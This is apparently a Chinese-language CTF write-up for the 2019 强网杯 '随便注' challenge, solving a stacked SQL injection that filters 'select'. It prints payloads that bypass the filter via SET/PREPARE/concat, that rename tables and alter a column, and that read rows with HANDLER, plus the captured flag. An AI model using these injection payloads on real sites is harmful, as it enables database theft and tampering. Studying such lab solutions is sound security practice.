强网杯-2019-随便注

强网杯-2019-随便注

1.过程

image-20210115221958691

inject是注入点。

1
?inject=1' order by 2--+

测试发现有两列。

联合查询发现有过滤,大小写不能绕过:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

;不会报错,应该是堆叠注入?

1
2
show databases 查库
show tables 查表

image-20210115223134181

这两个表,可以看看。

1
2
3
4
5
6
7
8
9
show columns from `words`
//查看words表的结构
(show full 显示表格详细信息)
show columns from `1919810931114514`
1919810931114514里面有flag的信息。
默认查询的应该是words表。
那……预设的可能是
SELECT * FROM words WHERE inject='inject'
………额,sql语句怎么改表名?

查了一波资料,似乎有三种方法。

2.方法
一.select绕过

通过set、prepare、concat语句预设拼接好的select语句,运行即可。

1
2
3
4
5
?inject=1';
SET @lgy=concat('sel','ect * from `1919810931114514`;');//concat可以拼接字符串
PREPARE std from @lgy; //预设拼接后的语句,绕过select过滤
execute std; //执行
--+ //注释

image-20210115225848460

对于预设语句也是有过滤……确实预设好像挺秀的……

这个过滤用&&,还用strstr……用大小写绕过。

image-20210115230038360

可以得到flag。

二.更改表名
1
2
3
4
5
6
7
8
rename table `words` to `ina`;
rename table `1919810931114514` to `words`;
结果是报错: Unknown column 'id' in 'where clause'
预设查询的是where id =……
但改完后表中没有这一列
alter table `words` change `flag` `id` varchar(100);
//ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);
//VARCHAR(M)是一种比CHAR更加灵活的数据类型,同样用于表示字符数据,但是VARCHAR可以保存可变长度的字符串。其中M代表该数据类型所允许保存的字符串的最大长度。

再用?inject=-1’ or 1=1;就可以查出flag。

三.hander

​ handler语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

1
2
3
4
payload:
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;--+
1
flag{8138544e-d707-45a7-b56a-fc5e52a47572}

……确实可以,tqltql

作者

inanb

发布于

2021-01-15

更新于

2021-08-23

许可协议


:D 一言句子获取中...